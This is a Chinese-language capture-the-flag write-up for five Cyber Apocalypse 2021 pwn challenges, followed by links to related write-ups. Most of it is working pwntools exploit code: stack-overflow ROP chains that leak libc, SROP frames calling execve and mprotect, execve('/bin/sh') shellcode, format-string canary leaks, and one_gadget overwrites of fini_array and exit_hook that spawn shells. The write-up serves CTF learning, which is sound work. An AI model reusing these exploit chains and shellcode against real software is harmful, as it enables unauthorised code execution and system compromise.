Cyber Apocalypse 2021 pwn write up
Controller
考点是整数溢出和scanf函数的引发的栈溢出漏洞,泄露libc地址将返回地址覆盖成one_gadgets拿到shell。
1 from pwn import *
2
3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc.so.6'})
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 pop_rdi = 0x004011d3
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 p.recvuntil('recources: ')
12 p.sendline('-1 -65339')
13 p.sendlineafter('> ','2')
14 p.recvuntil('problem?\n> ')
15
16 payload = 'a'*0x20+'bbbbbbbb'
17 payload+= p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
18 payload+= p64(elf.symbols['_start'])
19 p.sendline(payload)
20 p.recvuntil('ingored\n')
21 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['puts']
22 print 'libc_base-->'+hex(libc_base)
23 shell = libc_base+og[0]
24
25 p.recvuntil('recources: ')
26 p.sendline('-1 -65339')
27 p.sendlineafter('> ','2')
28 p.recvuntil('problem?\n> ')
29
30 payload = 'a'*0x20+'bbbbbbbb'
31 payload+= p64(shell)
32 p.sendline(payload)
33 p.interactive()
Minefield
程序保护如图:

程序有一个任意写,并且有后门函数。
- 当
RELRO保护为NO RELRO的时候,init.array、fini.array、got.plt均可读可写; - 为
PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写; - 为
FULL RELRO时,init.array、fini.array、got.plt均可读不可写。 - 程序在加载的时候,会依次调用
init.array数组中的每一个函数指针,在结束的时候,依次调用fini.array中的每一个函数指针。
程序在执行的时候,流程如下图:

简单地说,在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。
所以这道题,思路就是直接打.fini_array数组,让指向后门函数,在main函数执行完之后就会执行后门函数,就可以拿到flag了。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context.log_level = 'debug'
6
7 p.sendlineafter('> ','2')
8 p.sendafter('mine: ','6295672')
9 p.sendafter('plant: ','4196715')
10 p.recv()
11 p.recv()
System dROP
此题有点坑,我换了三种方法都没做出来。

程序很简单,就只有一个read函数,但是程序端存在syscall ret。

我很自觉的就想到srop了。这里我说一下我用的3种方法:
1.通过read函数的返回值给rax,让syscall调用write函数泄露libc版本,用one_gadgets打。
2.用srop调用execve拿shell。
3.用srop调用mprotect将bss段赋予可执行权限,自己写shellcode来拿shell。
exp1:
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 pop_rdi = 0x0004005d3
13 pop_rsi_r15 = 0x004005d1
14 buf = elf.bss()+0x100
15 syscall = 0x0040053B
16 main = elf.symbols['_start']
17 leave_ret = 0x0040056E
18 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
19 ret = 0x0040056F
20
21 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
22 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
23 payload+= p64(main)
24 p.send(payload)
25 payload = p64(pop_rdi)+p64(0)
26 payload+= p64(pop_rsi_r15)+p64(buf+0x100)+p64(0)
27 payload+= p64(elf.plt['read'])
28 payload+= p64(pop_rdi)+p64(1)
29 payload+= p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)
30 payload+= p64(syscall)
31 payload+= p64(pop_rdi)+p64(0)
32 payload+= p64(pop_rsi_r15)+p64(0x6011c0+8)+p64(0)
33 payload+= p64(elf.plt['read'])
34 p.send(payload)
35
36 payload = 'a'*0x20+p64(buf-8)+p64(leave_ret)
37 p.send(payload)
38 p.send('a')
39 libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['read']
40 print 'libc_base-->'+hex(libc_base)
41 system = libc_base+libc.symbols['system']
42 binsh = libc_base+libc.search('/bin/sh').next()
43 shell = libc_base+og[1]
44
45 payload = p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
46
47 payload = p64(shell)
48 p.send(payload)
49 p.interactive()
exp2:
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 pop_rdi = 0x0004005d3
13 pop_rsi_r15 = 0x004005d1
14 buf = elf.bss()+0x150
15 syscall = 0x0040053B
16 main = elf.symbols['_start']
17 leave_ret = 0x0040056E
18
19 sigframe = SigreturnFrame()
20 sigframe.rax = constants.SYS_execve
21 sigframe.rdi = buf
22 sigframe.rsi = 0
23 sigframe.rdx = 0
24 sigframe.rsp = 16
25 sigframe.rbp = 0
26 sigframe.r8 = 0
27 sigframe.r9 = 0
28 sigframe.r10 = 0
29 sigframe.rip = syscall
30
31 #payload = p64(start_addr)+'a'*0x8+str(sigframe)
32 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
33 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
34 payload+= p64(main)
35 p.send(payload)
36
37 payload = '/bin/sh\x00'
38 payload+= p64(pop_rsi_r15)+p64(0x6011d0+8)+p64(0)
39 payload+= p64(elf.plt['read'])
40 payload+= p64(pop_rsi_r15)+p64(buf+0x200)+p64(0)
41 payload+= p64(elf.plt['read'])+p64(syscall)
42 p.send(payload)
43
44 payload = 'a'*0x20+p64(buf)+p64(leave_ret)
45 p.send(payload)
46 p.send(str(sigframe))
47 p.send('a'*15)
48 p.interactive()
exp3:
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('46.101.23.157',32462)
5 elf = ELF('./pwn')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 pop_rdi = 0x0004005d3
13 pop_rsi_r15 = 0x004005d1
14 buf = elf.bss()+0x150
15 syscall = 0x0040053B
16 main = elf.symbols['_start']
17 leave_ret = 0x0040056E
18 ret = 0x000040056F
19
20 sigframe = SigreturnFrame()
21 sigframe.rax = constants.SYS_mprotect
22 sigframe.rdi = buf&0xFFFFFFFFFFFFF000
23 sigframe.rsi = 0x1000
24 sigframe.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
25 sigframe.rsp = buf
26 sigframe.rip = syscall
27
28 #payload = p64(start_addr)+'a'*0x8+str(sigframe)
29 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
30 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
31 payload+= p64(main)
32 p.send(payload)
33 #00400541
34 payload = p64(0x0400541)
35 payload+= p64(pop_rsi_r15)+p64(buf+0x50)+p64(0)
36 payload+= p64(elf.plt['read'])
37 payload+= p64(pop_rsi_r15)+p64(buf+0x200)+p64(0)
38 payload+= p64(elf.plt['read'])+p64(syscall)
39
40 p.send(payload)
41
42 payload = 'a'*0x20+p64(buf)+p64(leave_ret)
43 p.send(payload)
44 p.send(str(sigframe))
45 p.send('a'*15)
46 shellcode=asm(
47 '''
48 xor rsi,rsi
49 mul esi
50 push rax
51 mov rbx,0x68732f2f6e69622f
52 push rbx
53 push rsp
54 pop rdi
55 mov al, 59
56 syscall
57 '''
58 )
59 payload = shellcode.ljust(0x28,'\x00')+p64(ret)+p64(ret)+p64(ret)+p64(0x601168)
60 p.send(payload)
61 p.interactive()
比较遗憾的是,这三种方法都是本地可以拿到shell,远程拿不到。未解之谜,不知道为什么拿不到shell。。。
上面三个exp的共同点是,都是执行了两次main函数或者start函数。有师傅告诉我说一次性搞定,别再重启程序。我贴一下main函数的汇编,惊奇的发现,在执行完read函数之后,竟然有mov eax,1的操作。。。如此一来,就不用利用read函数的返回值给rax赋值就可以调用write函数了。(果然,做系统调用的题还是得多看汇编)

如此一来,就是先用系统调用泄露libc版本,然后调用read函数在bss段写one_gadgets,再栈转移过去执行拿shell。
exp:
1 from pwn import *
2 context.log_level='debug'
3
4 p = process('./pwn')
5 elf=ELF('./pwn')
6 libc=ELF('./libc.so.6')
7
8 pop_rdi=0x0004005d3
9 pop_rsi_r15=0x0004005d1
10 syscall_ret=0x40053b
11 leave_ret=0x000040056e
12 og = [0x4f365,0x4f3c2,0x10a45c]
13
14 payload='a'*0x20+p64(0x601138)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)+p64(syscall_ret)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x601140)+p64(0)+p64(elf.plt['read'])+p64(leave_ret)
15 p.sendline(payload)
16 libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['read']
17 shell = libc_base+og[1]
18 print 'libc_base-->'+hex(libc_base)
19
20 payload=p64(shell)
21 p.sendline(payload)
22 p.interactive()
Harvester
格式化字符串漏洞泄露canary和libc版本,栈溢出覆盖返回地址拿shell。
1 from pwn import *
2
3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 og = [0x4f3d5,0x4f432,0x10a41c]
9
10 #leak canary
11 p.recvuntil('> ')
12 p.sendline('1')
13 p.recvuntil('> ')
14 p.send('%11$p')
15 p.recvuntil('is: ')
16 canary = int(p.recvuntil('00'),16)
17 print 'canary-->'+hex(canary)
18
19 #leak libc_base
20 p.recvuntil('> ')
21 p.sendline('1')
22 p.recvuntil('> ')
23 p.send('%21$p')
24 p.recvuntil('is: ')
25 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main']
26 print 'libc_base-->'+hex(libc_base)
27 shell = libc_base+og[0]
28
29 p.recvuntil('> ')
30 p.sendline('2')
31 p.recvuntil('> ')
32 p.sendline('y')
33 p.recvuntil('> ')
34 p.sendline('-11')
35
36 payload = 'a'*0x28+p64(canary)+'bbbbbbbb'+p64(shell)
37 p.recvuntil('> ')
38 p.sendline('3')
39 p.recvuntil('> ')
40 p.send(payload)
41 p.interactive()
Save_the_environment
可以直接拿到libc地址,有一次任意写的机会,直接打exit_hook为one_gadgets拿到shell。
因该是非预期了,因为有一次任意读没有用到。而且这个存在一定的偶然性,因为我提前知道了libc版本,即使我本地的环境也是2.27,但是在找exit_hook的时候,还是费了很大劲。原因是因为小版本的libc地址和ld地址的距离不一样,不过好在差距都是差0x1000的倍数,好找一点。
1 from pwn import *
2
3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 og = [0x4f3d5,0x4f432,0xe546f,0xe5617,0xe561e,0xe5622,0x10a41c,0x10a428]
9
10 for i in range(5):
11 p.sendlineafter('> ','2')
12 p.sendlineafter('> ','1')
13 p.sendlineafter('> ','n')
14
15 libc_base = int(p.recvuntil(']')[-15:-1],16)-libc.symbols['printf']
16 print 'libc_base-->'+hex(libc_base)
17 exit_hook = libc_base+0x619060+3840
18 shell = libc_base+og[7]
19 print 'exit_hook-->'+hex(exit_hook)
20 free_hook = libc_base+libc.symbols['__free_hook']
21 malloc_hook = libc_base+libc.symbols['__malloc_hook']
22 print 'free_hook-->'+hex(free_hook)
23 environ = libc_base+libc.symbols['environ']
24 '''
25 for i in range(5):
26 p.sendlineafter('> ','2')
27 p.sendlineafter('> ','1')
28 p.sendlineafter('> ','n')
29 p.recvuntil('want.\n')
30 p.send(str(environ))
31 stack = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
32 print 'stack-->'+hex(stack)
33 attack = stack-288
34 print 'attack-->'+hex(attack)
35 '''
36 p.sendlineafter('> ','1')
37 #p.sendlineafter('> ',str(exit_hook+8+0x2000))
38 p.sendlineafter('> ',str(exit_hook+8))
39 p.sendlineafter('> ',str(shell))
40 p.interactive()
小结
1.学习到了fini.array的利用。
2.做系统调用的题多看汇编。
3.exit_hook好用,但是偏移得在实际环境种慢慢调试。
4.libc_base+libc.symbols['environ']中会存在栈地址,可以用来泄露栈地址。
后记
没有学到堆利用,但是巩固了栈的很多知识。感觉还不错,就是熬夜做题太伤身体了。。。

Cyber Apocalypse 2021 pwn write up的更多相关文章
- 2021能源PWN wp
babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- 【wp】HWS计划2021硬件安全冬令营线上选拔赛
逆向手在夹缝中艰难求生系列. 这篇真的存粹是做题笔记了,对内核驱动啥的不太懂,pwn也不会,能做出来的题都是硬逆出来的( childre最后死活没整出来,后来看大佬的wp才知道对子进程有修改(.)呜呜 ...
- pwn题命令行解题脚本
目录 脚本说明 脚本内容 使用 使用示例 参考与引用 脚本说明 这是专门为本地调试与远程答题准备的脚本,依靠命令行参数进行控制. 本脚本支持的功能有: 本地调试 开启tmux调试 设置gdb断点,支持 ...
- 2021 羊城杯WriteUP
比赛感受 题目质量挺不错的,不知道题目会不会上buu有机会复现一下,躺了个三等奖,发下队伍的wp Team BinX from GZHU web Checkin_Go 源码下载下来发现是go语言写的 ...
- 2020ACTF pwn writeup
为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...
- 2021羊城杯比赛复现(Crypto)
bigrsa 题目: from Crypto.Util.number import * from flag import * n1 = 10383529640908175186077053551474 ...
- [pwn基础]动态链接原理
目录 [pwn基础]动态链接原理 动态链接概念 动态链接调用so例子 GOT(全局偏移表) got表劫持小实验 PLT(延迟绑定) PLT概念 延迟绑定(PLT表) 实战学习 [pwn基础]动态链接原 ...
- [pwn基础] Linux安全机制
目录 [pwn基础] Linux安全机制 Canary(栈溢出保护) 开启关闭Cannary Canary的种类 Terminator canaries(终结者金丝雀) Random cannarie ...
随机推荐
- Maven 源码解析:依赖调解是如何实现的?
系列文章目录(请务必按照顺序阅读): Maven 依赖调解源码解析(一):开篇 Maven 依赖调解源码解析(二):如何调试 Maven 源码和插件源码 Maven 依赖调解源码解析(三):传递依赖, ...
- java-TCP协议发送和接收数据
TCP协议接收数据的步骤: A:创建接收数据的Socket对象 创建对象的时候要指定端口 B:监听客户端连接 等待客户端连接 C:获取Socket对象的输入流(字节流) D:读数据,并显示在控制台 E ...
- 洛谷 P4002 - [清华集训2017]生成树计数(多项式)
题面传送门 神题. 考虑将所有连通块缩成一个点,那么所有连好边的生成树在缩点之后一定是一个 \(n\) 个点的生成树.我们记 \(d_i\) 为第 \(i\) 个连通块缩完点之后的度数 \(-1\), ...
- Codeforces 1361C - Johnny and Megan's Necklace(欧拉回路)
Codeforces 题目传送门 & 洛谷题目传送门 u1s1 感觉这个题作为 D1C 还是蛮合适的-- 首先不难发现答案不超过 \(20\),所以可以直接暴力枚举答案并 check 答案是否 ...
- 对 SAM 和 PAM 的一点理解
感觉自己学 SAM 的时候总有一种似懂非懂.云里雾里.囫囵吞枣.不求甚解的感觉,是时候来加深一下对确定性有限状态自动机的理解了. 从 SAM 的定义上理解:SAM 可以看作一种加强版的 Trie,它可 ...
- UE4之Slate: SImage
概述 距离上次记录<UE4之Slate:纯C++工程配置>后已经好长时间了: 这个随笔来记录并分享一下SImage控件的使用,以在屏幕上显示一张图片: 目标 通过SImage控件的展示,学 ...
- SpringBoot整合Shiro 二:Shiro配置类
环境搭建见上篇:SpringBoot整合Shiro 一:搭建环境 Shiro配置类配置 shiro的配置主要集中在 ShiroFilterFactoryBean 中 关于权限: anon:无需认证就可 ...
- 13 — springboot集成mybatis-plus — 更新完毕
1.mybatis-plus需要掌握的知识 1).mybatis-plus是什么? 不写了,老衲一般都是直接进官网 mybatis-plus官网地址:https://baomidou.com/guid ...
- 日常Java(测试 (二柱)修改版)2021/9/22
题目: 一家软件公司程序员二柱的小孩上了小学二年级,老师让家长每天出30道四则运算题目给小学生做. 二柱一下打印出好多份不同的题目,让孩子做了.老师看了作业之后,对二柱赞许有加.别的老师闻讯, 问二柱 ...
- A Child's History of England.22
CHAPTER 8 ENGLAND UNDER WILLIAM THE FIRST, THE NORMAN CONQUEROR Upon the ground where the brave Haro ...